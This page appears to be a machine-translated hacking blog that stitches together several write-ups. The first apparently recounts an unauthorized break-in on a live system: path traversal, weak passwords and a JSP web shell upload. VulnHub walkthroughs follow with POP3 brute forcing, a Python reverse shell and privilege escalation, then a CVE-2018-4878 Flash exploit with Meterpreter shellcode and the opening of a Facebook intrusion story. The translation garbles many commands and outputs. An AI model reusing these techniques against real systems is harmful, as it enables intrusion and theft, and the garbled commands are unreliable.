Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863588992

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01はじめに

いつか何もすることがなかったので、FOFAのXXシステムを検索し、運を試してみることを考えていました。

1049983-20220119225612527-1364655911.jpg

0x02テストプロセス

ウェブサイトを選んで開きました

1049983-20220119225613163-1439267662.jpgEM…、あなたの運を試してください、バックハンド管理者が入力してください、それは管理システムです

1049983-20220119225613562-313120700.jpg次に、ウェブサイトの機能ポイントに従って、ランダムにいくつかをクリックして、通常の操作以外のものがないことがわかりました。しばらく検索した後、ファイルのダウンロード操作があることがわかりました。

1049983-20220119225613876-1349432502.jpg

いい男、それは非常に深く隠されています。私はパッケージをキャッチし、要求された住所を見ました。ファイルのようです

1049983-20220119225614402-159575045.jpgFILENAMEが./etc/passwdに変更されます。

1049983-20220119225614938-1294885574.jpgこのパスはそうではないようです。それから私はそれを一つ一つ試してみました.//など。到着したら、アクセスできます。

1049983-20220119225615472-1186122569.jpg歴史的なコマンドを読むことができるかどうかを見てみましょう。履歴コマンドを読むことができる場合は、WebサイトのバックアップファイルまたはWebサイトインストールパッケージがあるかどうかを確認できます。 hehe、 /root/.bash_historyへのパスを変更してください、アクセス! ….500エラー

1049983-20220119225615994-2012918871.jpg許可は不十分であるようです。他の場所から始める方法はありません。

次に、F12のWebサイトソースコードを確認し、ソースコードの象徴的なステートメントまたはファイルを使用して、同じシステムを検索できます。おそらくこのようなルート許可があるかもしれません

1049983-20220119225616528-1337144661.jpg同じシステムを使用した後、パスワードをもう一度試してみてください

1049983-20220119225616920-100761018.jpg最近幸運があり、弱いパスワードが再び入力されました。ちょっとハイ

1049983-20220119225617369-1237355266.jpg次に操作を今すぐ試してみてください。

1049983-20220119225617822-1470359648.jpg History Command /root/.bash.historyを読んでみてください

1049983-20220119225618270-857525528.jpg歴史的なコマンドを読んで、ゆっくりと反転することができます。最後に、Webサイトソースコードがあることがわかります。

1049983-20220119225618653-1742935129.jpgバックハンドでダウンロードしてください

1049983-20220119225618998-757262743.jpg減圧

1049983-20220119225619315-1947083995.jpg 1049983-20220119225619680-1165688496.jpgJSPのウェブサイト、私はJavaを学んでクラックしたことがありません。私は最初に歴史的なコマンドで環境を構築したので、サーバーに同じシステムを展開しました。

私はJavaを学んでいませんが、自動化されたJava監査ツールは引き続き充電されているため、1つの方法を使用して手動で行うだけです。

1049983-20220119225620165-708289661.jpg 1日のほとんどを探した後、私はほとんどあきらめたかった.

ただし、このシステムにはMySQLがあります。最初にデータの構造を見てみましょう。おそらくこれは見えます

1049983-20220119225620586-481103708.jpg次に、管理Webサイトユーザーのテーブルにシステムに付属のアカウントを見つけました(ここでアカウントXで表されます)。アカウントXは、管理者権限よりも高いです。

1049983-20220119225621169-770288268.jpgパスワードをCMD5に入力して確認します

1049983-20220119225621575-1976315723.jpgお金が欲しいですか?私はたくさんの貧しい人々で、お金がありません。私は良いマスターを探して、それをチェックします。良いマスターは非常に速く、私はメッセージに答えました。

1049983-20220119225621999-891368438.jpgその後、このアカウントXを使用して、構築したシステムにログインし、このアカウントがWebサイトに存在することがわからないことがわかりました。つまり、開発者によって残される可能性があります。 Hehe、このアカウントでは、他のシステムがログインできます。

次に、システムにファイルをアップロードするためのアップロードポイントがあることがわかりました。それらはすべて白いボックスにあるので、リアルタイムファイル監視ツールを展開して、変更されたファイルを確認するか、後でアップロードするファイルがアップロードされたかどうかを確認できます。

ここでは、ファイルを監視するために使用されます

1049983-20220119225622414-783233812.jpgファイルをアップロードし、パッケージをつかみ、suffix.jspを変更します

1049983-20220119225622849-1570156655.jpgは、アップロードが失敗したとプロンプトします

1049983-20220119225623276-2048107424.jpgファイルの監視を確認すると、アップロードできます

1049983-20220119225623680-1104630029.jpg接尾辞は制御可能ですが、ファイル名は制御できず、面倒です。一般に、ファイル名はタイムスタンプまたは特定のアルゴリズムにちなんで命名されます。さらに数回アップロードすると、定期的ではないようです。

1049983-20220119225624147-1308714869.jpgダウンロードされたWebサイトソースコードのクラスファイルを見てください。要求されたアドレスを見てください

Imageは、アップロードクラスのアップロードファイルメソッドである必要があります(Javaを学んでいない、それが正しいかどうかわからない、批判しないでください〜)

UploadFileメソッドを見つけて、1つずつ見ました。私はめまいがしましたが、最終的にファイル名を生成する方法を見つけました= - =

1049983-20220119225625149-1811091206.jpg uuid.randomuid()。toString()が何であるかを見てみましょう

1049983-20220119225625633-667069781.jpg 3つの部分:現在の日付と時刻+クロックシーケンス +グローバルに一意のIEEEマシン識別番号(ネットワークカードMACアドレス)

突然、私はそれについて考え、最初の2つを取得する方法を見つけることができましたが、最後のネットワークカードのMACアドレスは非常に困難です。ファイルのダウンロードは、ネットワークカードのMACアドレスでダウンロードすることはできず、別の道路がブロックされています。

数時間後、別のアップロードポイントを見つけました

1049983-20220119225626147-800504049.jpgファイル監視

1049983-20220119225626548-1854421406.jpg馬への直接送信

1049983-20220119225627041-1428346929.jpgアドレスをエコーしました

1049983-20220119225627401-450524635.jpg Ice Scorpionは正常に接続されています

1049983-20220119225627845-114544922.jpg最後に、システムのアカウントを使用してシステムにログインし、2番目のアップロードポイントを使用して馬をアップロードします。

1049983-20220119225628330-1035735350.jpg

0x03要約

1。FOFAを介してオープンソースのCMSシステムを検索し、ターゲットサイトをクリックし、弱いパスワード管理者/管理者2を入力してシステムを入力します。読む././etc/passwd and ././etc/passwdと両方の500エラー、/././tc/passwdはコンテンツを読むことができます。次に、/./././root/.bash_historyに変更します。エラーは500。4です。このテストのターゲットWebサイトは履歴レコードを読み取ることができません。次に、FOFAを介して他のいくつかの同様のオープンソースCMSシステムを検索し、同じ弱いパスワード管理者/管理者を入力してシステムに入り、/./././root/. bash_historyコンテンツを正常に読むこともできます。ターゲットサイトをバックアップし、Webサイトのルートディレクトリに保存する圧縮パッケージの名前を含む、ターゲット管理者の操作の記録を表示します。 5.ルートディレクトリのソースコード圧縮パッケージをローカルエリアに直接ダウンロードして、コード監査を実行できます。 6.ターゲットソースコードには、Webサイト構成ファイルとMySQLデータベースのバックアップファイルが含まれていることがわかりました。 7。環境をローカルに構築することにより、ターゲットシステムは通常、ローカルで実行できます。同時に、Filemonitor(https://github.com/thekingofduck/filemonitor)を介したファイルの変更を監視し、phpmyadminを介してデータベースを管理します。システム独自のアカウントシステムと対応するパスワードハッシュ値はデータベーステーブルにあり、MD5を介して正常に復号化され、システムアカウントを介してローカル環境システムバックエンドにログインします。 8。バックグラウンドのファイルアップロードサイトに、ファイルアップロードの脆弱性があります。 Test.jspのアップロードは成功するように求められます。ただし、Filemonitorの監視は、新しいファイルが確立されていることを示しています。アップロードされたファイル名は検索されていませんが、アップロードされていないことが証明されています。 9.ソースコードでアップロードキーワードを検索することにより、アップロード後の成功したファイル名のルールは次のことを知ることができます。 A.JSPは正常にアップロードでき、アップロードされたファイル名が返されます。ファイル名を検索して、保存されたパスを知る。 12。最後に、システム所有のアカウントシステムを使用してターゲットシステムの背景にログインし、2番目の場所を使用して馬をアップロードします。オリジナルリンク: https://mp.weixin.qqc.com/s?__biz=mzg4ntuwmzm1ng==mid=2247493857Idx=1Sn=F7DB570914D9E4B4F517AB05B5E5D380KKKKSM=CFA54CF 2F8D2C5E41B2636BB3E6A996161617324182A2DD93B52A1FA3BEA9DD42D8ED96B37777BCENE=178CUR_ALBUM_ID=15533862517775492098#RD

1。情報収集

1.生き残った宿主をスカン

ARP-SCAN-L

cpjegbqlpvf8474.jpg

192.168.1.13がターゲットマシンのIPアドレスであることがわかりました。

2.ポートスキャン

次に、NMAPアーティファクトを使用してターゲットIPアドレスをスキャンします。コマンドは次のとおりです。

root@kali2018:〜#nmap -a192.168.1.13

2019-02-13 01:18 ESTでNMAP 7.70(https://nmap.org)を開始

192.168.1.13のNMAPスキャンレポート

ホストはアップ(0.0014Sレイテンシ)です。

表示されていません: 996閉じたポート

ポートステートサービスバージョン

22/tcpopensshopenssh 7.2p2 ubuntu 4ubuntu2.4(ubuntu linux; Protocol 2.0)

| ssh-hostkey:

|2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)

| 256 53:9D:2:67:34:CF:0A:D5:5A:9A:113:74:BD33333333333333333333:DSE3333333333:DS)

|_256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b13:d7:1b:66:83 (ED25519)

80/tcpopenhttpapache httpd 2.4.18((ubuntu))

| http-robots.txt: 1無効エントリ

| _/

| _http-server-header: apache/2.4.18(ubuntu)

| _HTTP -TITLE: FOWSNIFF CORP-ソリューションの配信

110/TCP OpenPop3Dovecot POP3D

| _pop3-capability: auth-resp-code uidl sasl(plain)パイプラインユーザーCAPAトップリスコード

143/tcp openimapdovecot imapd

| _imap-capabilities:はOKを持っています。

MACアドレス: 08:00336027:1E336080:B0(Oracle VirtualBox Virtual Nic)

デバイスタイプ:汎用

running: linux 3.x | 4.x

OS CPE: CPE:/O:LINUX:LINUX_KERNEL3:3 CPE:/O:LINUX33:LINUX_KERNEL:4

OS詳細: Linux 3.2-4.9

ネットワーク距離: 1ホップ

サービス情報: OS: Linux; CPE: CPE:/O:LINUX:LINUX_KERNEL

Traceroute

ホップrttaddress

11.38 MS 192.168.1.13

OSとサービスの検出が実行されました。誤った結果はhttps://nmap.org/submit/で報告してください。

NMAP DONE: 1 IPアドレス(1ホストアップ)9.44秒でスキャン

tgveahjbftf8475.jpg

スキャンの結果は、4つのポートがオープン、22(SSH)、80(HTTP)、110(POP3)、および143(IMAP)が開いていることを示しています。

2。ターゲットマシンの侵入

1。最初に、ポート80が何かを獲得するかどうかを確認します。ブラウザを開いてアクセスしてください。

0mbrcffb5hd8476.jpg

発表情報を使用して、ページをスクロールする静的HTMLページのように見えます:@fowsniffcorp

syr04jmqwif8477.jpg

ページには何も見つかりませんでしたし、DIRBとNiktoでスキャンを続けることに利益はありませんでした

root@kali2018:〜#dirb http://192.168.1.13

vcn1vn0pptp8478.jpg

root@kali2018:〜#nikto -h http://192.168.1.13

e0e4tmgiifd8479.jpg

だから私はページに表示されたfowsniff Corpをグーグルで検索しました

wbskjpitv4g8480.jpg

粘着性のツイートでFowsniff Twitter(@fowsniffcorp)を見つけました:

ftexfq2jxxi8481.jpg

リンクアドレスhttps://pastebin.com/nraqveexを開いた後、ウェブサイトのメールボックスから漏れた電子メールユーザーとパスワードがページに表示されます。

itic10dxskg8482.jpg

パスワードはMD5形式であり、SODM5(https://www.somd5.com/batch.html)またはHashcatを使用してパスワードを復号化できます。

kccyl2lmjmk8483.jpg

次に、ユーザー名とパスワードの辞書を作成し、Hydraを介してPOP3を爆破します。

まず、すべてのユーザー名をuser.txtファイルに貼り付けて保存し、すべてのパスワードをpass.txtファイルに貼り付けて保存します。

ledftk30uhp8484.jpg

MSFを使用してPOP3ログインを爆破することもできます。コマンドと構成は次のとおりです。

MSFUSEAUXILIARY/SCANNER/POP3/POP3_LOGIN

MSF Auxiliary(Scanner/POP3/POP3_LOGIN)SET RHOSTS192.168.1.13

Rhosts=192.168.1.13

MSF Auxiliary(scanner/pop3/pop3_login)set user_file /opt/user.txtを設定します

user_file=/opt/user.txt

MSF Auxiliary(Scanner/POP3/POP3_LOGIN)SET PASS_FILE /OPT/PASS.TXT

pass_file=/opt/pass.txt

MSF Auxiliary(Scanner/POP3/POP3_LOGIN)はfalseを設定します

verbose=false

MSF補助(スキャナー/POP3/POP3_LOGIN)エクスプロイト

実行後、図に示すように、正しい資格情報「Seina:scoobydoo2」が見つかりました。

te4mgwxv41z8485.jpg

次のように、メールアドレスはHydraを介して爆破されます。

hydra -l users.txt -p pass.txt -f {ip} pop3

-l〜username wordlist

-p〜パスワードワードリスト

-f〜有効なユーザーが見つかったときにひび割れを停止します

root@kali2018:/opt#hydra -l user.txt -p pass.txt -f 192.168.1.13pop3

4yfdqhwvqjt8486.jpg

ユーザー名Seinaと対応するパスワードが正常に爆破されていることがわかります。

次に、ターゲットマシンのPOP3サービスに接続し、取得したばかりの資格情報を使用してログインします。ログインした後、情報を確認して、2つのメッセージを見つけました。コマンドは次のとおりです。

root@kali2018:/opt#nc 192.168.1.13 110

+ok fowsniffコーポレートメールサーバーへようこそ!

ユーザーセイナ

+OK

Scoobydoo2を渡します

+OKログインしました。

リスト

+OK 2メッセージ:

1 1622

2 1280

ry4ddkl0hiu8487.jpg

リストコマンドを使用して、電子メール情報があるかどうかを確認します。 2つのメッセージがあることがわかります。その後、RETR [ID]を使用してメッセージを読み取ります。

最初のメッセージの内容を見て、SSHを含む一時的なパスワードは「s1ck3nbluff + secureShell」であることがわかりました。

ret 1

+OK 1622オクテット

Return-Path: Stone@Fowsniff

X-Original-to: Seina@Fowsniff

: Seina@Fowsniffに配信

fowsniffによる3:(postfix、userid1000から)

ID 0FA3916A;火曜日、2018年3月13日14:51:07 -0400(EDT)

to: baksteen@fowsniff、mauer@fowsniff、mursten@fowsniff、

Mustikka@fowsniff、parede@fowsniff、sciana@fowsniff、seina@fowsniff、

tegel@fowsniff

件名:緊急!セキュリティイベント!

Message-ID: 20180313185107.0FA3916A@FOWSNIFF

日付:火、2018年3月13日14336051:07 -0400(EDT)

From: Stone@Fowsniff(Stone)

親愛なるみんな、

数日前、悪意のある俳優がエントリーを得ることができました

私たちの内部電子メールシステム。攻撃者は悪用することができました

SQLデータベース内で誤ってフィルタリングされた脱出文字

ログイン資格情報にアクセスします。 SQLと認証の両方

システムは、しばらく更新されていなかったレガシー方法を使用しました。

完全な内部システムを実行するように指示されました

オーバーホール。メインシステムは「店内」ですが、

最小限のこの孤立した一時的なサーバーに移動しました

機能。

このサーバーはメールを送信および受信することができますが、

ローカル。つまり、他のユーザーにしかメールで送信できず、

World Wide Webへ。ただし、このシステムにアクセスできます

SSHプロトコル。

SSHの一時的なパスワードは「s1ck3nbluff+secureShell」です

このパスワードをできるだけ早く変更する必要があります。

ガイダンス。私は攻撃者がオンラインで投稿したリークを見ました、そして私はあなたの

パスワードはあまり安全ではありませんでした。

あなたの最も早い都合で私のオフィスで私に会いに来てください、そして私たちはそれをセットアップします。

ありがとう、

A.Jストーン

次に、2番目のメッセージを確認します。メッセージでは、送信者がbaksteen@fowsniffであることがわかります。ユーザー名はBaksteenであると推測できます。

sde4tc0peqc8488.jpg

ret 2

+OK 1280オクテット

return-path: baksteen@fowsniff

X-Original-to: Seina@Fowsniff

: Seina@Fowsniffに配信

fowsniffによる3:(postfix、from userid1004)

ID 101CA1AC2;火曜日、2018年3月13日14:54:05 -0400(EDT)

to: seina@fowsniff

subject:あなたは逃しました!

Message-id: 20180313185405.101ca1ac2@fowsniff

日付:火、2018年3月13日14336054:05 -0400(EDT)

from: baksteen@fowsniff

デヴィン、

あなたは今日、真鍮がAJに横たわるのを見るべきだった!

私たちはこの1つについて話をします。

地域のマネージャーが海軍にいたことを誰が知っていましたか?彼女は船乗りのように誓っていました!

どんな種類の肺炎やあなたが持ち帰るものがわかりません

あなたはあなたのキャンプ旅行からですが、私は自分でそれを持ってくると思います。

あなたはどのくらい去っていましたか - 一週間?

次回は病気になり、世紀の経営者の吹き出物を逃すつもりです

少なくとも自分自身に保管してください!

早く家に帰り、チキンスープを食べます。

私もストーンからメールを受け取ったと思いますが、おそらくいくつかです

「経営陣との私の会議のトーンを説明させてください」と顔を節約します。

戻ってきたら読みます。

気分が良くなる、

スカイラー

PS:メールパスワードを変更してください。

AJは、キャプテンの冒とくが現れる直前にそれをするように言っていました。

kefkup323md8489.jpg

次に、取得したばかりの資格情報、つまりユーザー名:baksteenパスワード:s1ck3nbluff+secureShellを使用してSSHにログインします

root@kali2018:/opt#ssh baksteen@192.168.1.13

jk324swasmh8490.jpg

3。権限の提供

1。最初のタイプの許可強化

ログインに成功しました。システムの列挙後、ユーザーBaksteenが2つの異なるグループに属していることがわかりました。ユーザーグループに属するファイルを見つけようとし、スクリプト「Cube.sh」を見つけました。検索コマンドは次のとおりです。

baksteen@fowsniff:〜 $ find/group users -Type F 2/dev/null

fzhngjaixck8491.jpg

このスクリプトファイルのコンテンツを確認したところ、SSHにログインした後に表示されるインターフェイス情報が含まれていることがわかりました。上記の写真でSSHログインが成功した後、スクリーンショットを比較することでわかります。

baksteen@fowsniff:〜 $ cd /opt /cube

baksteen@fowsniff:/opt/cube $ ls

baksteen@fowsniff:/opt/cube $ cat cube.sh

irexjsipfdd8492.jpg

VIMを使用してファイルを開き、ファイルの最後にPythonリバウンドシェルコマンドの行を追加します。

python-c'importsocket、subprocess、os; s=socket.socket.socket(socket.af_inet、socket.sock_stream); s.connect(( '192.168.1.21 '、1234))

写真に示されているように:

egdhu3ysg528493.jpg

保存後、スクリプトを実行してエラーを報告しようとします。エラーメッセージは「Pythonコマンドが見つかりません」です。そこで、システムでPythonを検索したところ、図に示すように、Python3がインストールされていることがわかりました。

qwx5dg1ty5x8494.jpg

uaze20mgags8495.jpg

そのため、次のように、コマンドをシェルをPython3にリバウンドするように変更します。

python3-c'importsocket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream); s.connect(( '192.168.1.29'、1234)); os.dup2(s.fileno()、0); os.dup2(s.fileno()、1);

0x01序文

FORANDSIX2は脆弱なターゲットマシンです。主なタスクは、侵入を通じてターゲットマシンシステムを入力してから権限を増やし、ルートディレクトリのflag.tx情報を読むことです。

forandsix2。ミラーダウンロードアドレス:

https://download.vulnhub.com/fourandsix/fourandsix2.ova

0x02情報収集

1.サバイバルホストのARPスキャン-lをscanします

ohzsby3prms8549.jpg

2efokbe0x3i8550.jpg

ターゲットマシンシステムとして192.168.1.9が見つかりました

2。NMAPを使用して、ターゲットマシンをスキャンします

NMAP -A 192.168.1.9

ctcgvmx0atr8551.jpg

オープンポートとサービスのクエリ:22-SSH、111-RPCBIND、2049-NFS、612-Mountd

0x03脆弱性のエクスプロイト

1.NFS脆弱性エクスプロイトオープンポート2049、NMAP検出がNFSサービスとして表示されます。MetaSploitを使用してスキャンしてディレクトリをマウントします

MSF使用補助/スキャナー/nfs/nfsmountを使用します

MSF Auxiliary(Scanner/NFS/NFSMount)はオプションを表示します

モジュールオプション(補助/スキャナー/nfs/nfsmount):

NameCurrent設定に必要な説明

----------------- ---------------------------------

Protocoludpはい、使用するプロトコル(Accepted: UDP、TCP)

RHOSTSはい、ターゲットアドレス範囲またはCIDR識別子

rport111はいターゲットポート(TCP)

スレッド1はい、同時スレッドの数

MSF Auxiliary(Scanner/NFS/NFSMount)set Rhosts192.168.1.9

Rhosts=192.168.1.9

MSF Auxiliary(Scanner/NFS/NFSMount)実行

[+] 192.168.1.9:111-192.168.1.9 NFS Export:/Home/User/Storage []

[*] 1つのホストのうち1つをスキャンしました(100%完了)

[*]補助モジュールの実行が完了しました

2cmo2fkm03n8552.jpg

showmount -eを使用してターゲットシステムマウント可能なディレクトリを表示することもできます

fuonwkaik3f8553.jpg

ディレクトリ/ホーム/ユーザー/ストレージを見つけました

マウント名でディレクトリをマウントします。

MKDIR /TMP /ストレージ

Mount -T NFS 192.168.1.9:/home/user/storage/tmp/storage

wfg3kryf5wd8554.jpg

注:MountコマンドをKaliシステムで使用できない場合があります。これは、ファイルが破損しており、更新およびインストールする必要があるためです。

APT-GetインストールNFS-Common

圧縮されたパッケージバックアップを見つけました。7Z、7Z Eバックアップを使用して減圧しようとします。パスワードが必要であることが促されます。

gyc4q51dnmj8555.jpg

2。Backup.7Zブラスト検索データを使用して、Rarcrackを使用して7Z圧縮パッケージを爆破できることを発見しました。 rarcrackクラッキングコマンドは次のとおりです。

apt-getインストールrarcrack

Rarcrack -Threads 4 -Type 7Z Backup.7z

7Zコマンドを使用して辞書を爆破することもできます

7zクラックスクリプト:

https://raw.githubusercontent.com/exexute/pythonscaffold/pythonscaffold_0.1/enum_violion/file_enum/7z-crack.sh

コマンドコンテンツは次のとおりです。

猫$ 2 |読み取りライン。

使い方:

./7z-crack.shbackup.7z /usr/share/wordlists/rockyou.txt

4gx1d3sm4fm8556.jpg

最後に、7Zクラッキングスクリプトが圧縮されたパッケージパスワードを正常にクラックしました:チョコレート

backup.7zをunzip buckup。

kubufdscg1w8557.jpg

割れたパスワードチョコレートを介して.7zを減圧し、減圧後にその内容を抽出すると、いくつかの写真とRSAキーを見つけることができます。ポート22はターゲットコンピューターでSSHサービスを実行するため、RSAプライベートキーを使用してログインできます。 RSAの公開キーを開いて、ユーザー名を表示します。

guqak240c5g8558.jpg

だから、私はパブリックキーと秘密鍵を介してサーバーにログインし、秘密キーを /root/.sshディレクトリに配置し、サーバーに接続できると思います

cp id_rsa /root/.ssh

sshuser@192.168.1.9

nxy1ahhchcl8559.jpg

SSHへのログインを試みましたが、パスワードを要求しました。したがって、正しい秘密キーパスワードを見つけるために、次のスクリプトを作成しました。

root@kali2018:/tmp/storage#cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | ssh-keygen -c -c 'ssh -keygen -c' 'user@forandsix' -p $ pass -f id_rsa/dev/dev/null;壊す; fi;終わり

ブラストのパスワードは12345678です

gnrbtppa42u8560.jpg

または

root@kali2018:/tmp/storage#cat /usr/share/wordlists/rockyou.txt | while read line; ssh -keygen -p $ line -n $ line -f id_rsa 1/dev/null 2/dev/null; echo 'パスワードは:' $ line; break; fi; done;

wtcrhzlklnh8561.jpg

パスワードを成功させることにより、リモートSSHログイン

yeyg1k4rkuo8562.jpg

0x04許可エンハンスメント

シェルに入った後、現在のシステムがFreeBSD 6.4であることがわかりました。検索後、カーネルに脆弱性を発生させることができることがわかりました。そのため、構成、ファイル、サービスに焦点を当てました。

現在のユーザー許可とシステム情報を表示します

forandsix2 $ id

uid=1000(user)gid=1000(user)groups=1000(user)、0(wheel)

forandsix2 $ uname -A

OpenBSD FORANDSIX2.LOCALDOMAIN 6.4 GENERIC#349 AMD64

ei0ktwl3yhd8563.jpg

Findコマンドを使用して、SUIDセットのあるファイルまたはパッケージを見つけます。

find/-perm -u=s -type f 2/dev/null

4ah15e2gntl8564.jpg

Findコマンドを通じて、SUDOコマンドの代替品であるSUID許可でプログラム/USR/BIN/DOAが実行されていることがわかりました。 DOASは、BSDシリーズシステムの下での許可管理ツールであり、Debianシリーズの下のSudoコマンドと同様です。

「doas.conf」ファイルを読んだ後、「少ない」がルートとして実行できることがわかりました。

/etcディレクトリ、doas.confを確認してください

forandsix2 $ cat /etc/doas.conf

root cmd/usr/bin/less args/var/log/authlogとしてnopass keepenvユーザーを許可します

nopass keepenvルートをルートとして許可します

mhb00dpqrjt8565.jpg

構成ファイルを見て、理解してみましょう。 DOASユーティリティは、DOAS.CONF構成ファイルのルールに従って、他のユーザーとしてコマンドを実行します。

許可/拒否:ルールを許可/拒否します

NOPASS:ユーザーはパスワードを入力する必要はありません

永続:ユーザーが認証に成功した後、パスワード検証を再度要求しないでください。

Keepenv:ユーザーの環境を維持します

CMD:コマンドを実行することを許可します

doas.confファイルから、現在のユーザーは、ルートアクセス許可を備えた/var/log/authlogファイルを表示するためにコマンド以下を使用できることがわかり、現在のユーザーパスワードとルートパスワードは必要ありません。

doas/usr/bin/less/less/var/log/authlogを使用してログファイルを表示し、vを直接押して編集モードに入りますが、読み取り専用にプロンプトします。編集モードに入った後、VIエディターを使用して操作できます。

doas/usr/bin/less/var/log/authlog

01i14bhcnbt8566.jpg d2yvbqjoryc8567.jpg

システムコマンド、つまり:/bin/shを実行すると、この時点でルートアクセス許可にアップグレードされます。

最後のステップは、ルートディレクトリにあるファルグ情報を取得することです。

クエリの現在のユーザーの許可はIDを介してrootで、cat flag.txtを使用してフラグ情報を表示します。

fuotvuivgns8568.jpg

zczldmye2ps8569.jpg

0x01はじめに

Adobeは、2018年2月1日にセキュリティ通知を発行しました。

https://helpx.adobe.com/security/products/flash-player/apsa18-01.html

発表は、新しいFlash 0dayの脆弱性(CVE-2018-4878)が野生で悪用され、Windowsユーザーに対するターゲット攻撃を開始できると述べました。攻撃者は、ユーザーにMicrosoft Office Documents、Webページ、スパムメールなどを開くように誘導できます。悪意のあるフラッシュコードファイルを含む。

0x02脆弱性の影響

フラッシュプレーヤーの現在の最新バージョン28.0.0.137およびすべての以前のバージョン

0x03脆弱性の再発

環境テスト:攻撃マシン:Kaliターゲットマシン:Win7x64 +IE8.0 +Flash Player28.0.0.1371。 CVE-2018-4878の足音をダウンロードします

wget https://raw.githubusercontent.com/backlion/demo/master/cve-2018-4878.rar

2。圧縮されたファイルを減圧した後、CVE-2018-4878.pyおよびexploit.swfを見ることができます

wydiabjw04t9137.jpg

3. CVE-2018-4878.pyを変更する必要があります。元の著者は、コード内の雄弁な変数をtrueに変更しました。正しいものは次のように変更する必要があります:stageless=false。元の著者のExpアドレスを添付してください:https://github.com/anbai-inc/cve-2018-4878.git

bgow3delxai9138.png

4.第二に、元の電卓のシェルコードを変更して交換する必要があります。

gjuq1o1fzdv9139.jpg

5。KALIの下でMSFのShellCode:を生成します

MSFVENOM -PWINDOWS/METERPRETER/REVERSE_TCPLHOST=あなたのホストlport=Your Port -FPYTHONSHELLCODE.TXT

msaq4dsvakc9140.jpg

6. CVE-2018-4878.pyで生成されたシェルコードをShellDoceに置き換えます

qvhh0gg2w2w9141.jpg

7。CVE-2018-4878を実行します。ここでは、悪意のあるexploit.swfを生成するには、index.htmlと同じディレクトリにある必要があります

gn0m4j4slmo9142.jpg

8。デモンストレーションのために、index.htmlとexploit.swfをターゲットマシンに一緒にコピーして、IEブラウザで開きました(Webサーバーを構築してアドレスにアクセスすることにより、Webディレクトリにindex.htmlとexploit.swfを配置することもできます)。

die3hkenvfo9143.jpg

9.MSFの下のリスニング設定を設定します

MSF使用

Exploit/Multi/Handler

MSFエクスプロイト(ハンドラー)

PayloadWindows/MeterPreter/Reverse_tcpを設定します

MSFエクスプロイト(ハンドラー)

LHOST 10.0.0.217を設定します

MSFエクスプロイト(ハンドラー)

LPORT 443を設定します

MSFエクスプロイト(ハンドラー)

エクスプロイト

ybbytke0zvn9144.jpg

10。ターゲットの悪意のあるindex.htmlページが開かれると、リバウンドシェルをトリガーできます。

pkc2uyg2wqg9145.jpg

0x04

脆弱性修理構造は、公式ウェブサイトを通じて最新バージョンにアップグレードされます

https://get.adobe.com/cn/flashplayer/

0x00ストーリーの前に書かれた

侵入テスターとして、私はクライアント側の弱点と比較してサーバー側の攻撃を好みます。サーバーを直接制御し、シェルを操作するためのアクセス許可を取得できるのは良いことです。もちろん、完全な浸透が発生した場合、あらゆる形態の弱さを過小評価することはできません。実際の浸透中、サーバーをより完全に制御するために、クライアント側の筋力の組み合わせが必要になる場合があります。ただし、弱点を探している場合でも、サーバーに直接入力して、危険でサーバーに直接駆動できる弱点を見つけることを好みます。 Facebookが世界でますます人気があり、より多くのユーザーがいるので、私は常にターゲットに浸透しようとするという考えを持っていました。たまたま、Facebookが2012年にバグバウンティバウンティハンターメカニズムを持ち始め、浸透にもっと興味を持っていました。

一般的に言えば、浸透の観点から、習慣性はデータの収集と検出から始まります。まず、ターゲットの「範囲」がインターネット上の大きさの大きさを定義します。開始する機会がある場所を評価できます。たとえば、

Googleハッキングはどのような情報を得ることができますか?

セグメントBにはいくつのIPがありますか?セグメントCのIPS?

誰?逆whois?

どのドメイン名がありますか?内部で使用されるドメイン名は?次に、サブドメインの推測とスキャンを行います

企業は通常どのテクノロジーと機器を使用したいですか?

Github、Pastebinに漏れた情報はありますか?

…等

もちろん、バグバウンティでは、無制限に攻撃することはできません。バグバウンティで許可されている範囲と遭遇する範囲の交差点は、あなたが試すことができる本当の目標です。

一般的に言えば、大企業による浸透で発生する可能性が高い問題については、いくつかの例について説明します。

ほとんどの大企業では、「ネットワークの境界」を考慮するのがより困難であり、問題になりやすいです。会社がより大きく、オンラインで数千または数万台のマシンがある場合、管理者が各マシンを考慮することは困難です。攻撃と防御では、防衛は片側を防御する必要がありますが、攻撃は突破するポイントを見つけるだけです。したがって、弱い人と比較して、攻撃者はネットワークの境界にあるマシンのみを見つけて、イントラネットに侵入して侵入し始めます!

「ネットワークデバイス」のセキュリティ認識は比較的弱いです。ネットワークデバイスは通常、管理者にさらなる操作を提供するシェルを提供しないため、デバイス自体が提供するインターフェイスによってのみ設定できます。そのため、通常はデバイスの防御はネットワークレイヤーからですが、デバイス自体の0日または1日に遭遇すると、侵略されることさえありません。

「ソーシャルワークライブラリ」の台頭により、浸透のプロセスが非常に簡単になる場合があります。公開情報から会社の従業員リストを見つけてから、ソーシャルワークライブラリからVPNにログインできる従業員のパスワードを見つけ、特にソーシャルワークライブラリの数が増加し、「量が定性的な変化になる」場合にイントラネットの浸透を開始します。主要な人々のパスワードがソーシャルワークライブラリにある限り、会社のセキュリティは完全に破られます。

Facebookの弱点を探しているとき、彼らは彼らの通常のアイデアに浸透します。 Facebook独自のドメイン名を照会することに加えて、情報の収集を開始すると、登録されたメールアドレスを覆します。興味深いドメイン名を誤って発見しました。

tfbnw.net

TFBNWは「TheFaceBook Network」の略語のようです

次に、以下のサーバーは公開情報から存在することがわかります。

vpn.tfbnw.net

おお! vpn.tfbnw.netはジュニパーSSL VPNログインインターフェイスのように見えますが、バージョンは最新のものであり、直接搾取可能な弱点はありませんが、これは内部ストーリーを入力することでもあります。

TFBNWは、Facebookで内部で使用されるドメイン名のようです。同じネットワークセグメントでvpn.tfbnw.netをスキャンするとどうなりますか?

メールサーバーOutlook Webアプリ

F5 BIGIP SSL VPN

Cisco ASA SSL VPN

Oracle E-Business

MobileIron MDM

これらのマシンから、このネットワークセグメントはFacebookにとって比較的重要なネットワークセグメントであるべきであり、すべてのストーリーがここから始まることを大まかに判断できます。

0x01早期脱力感コレクション

同じネットワークセグメントで、特別なサーバーが見つかりました

files.fb.com

lnar2qy1zxb8005.png

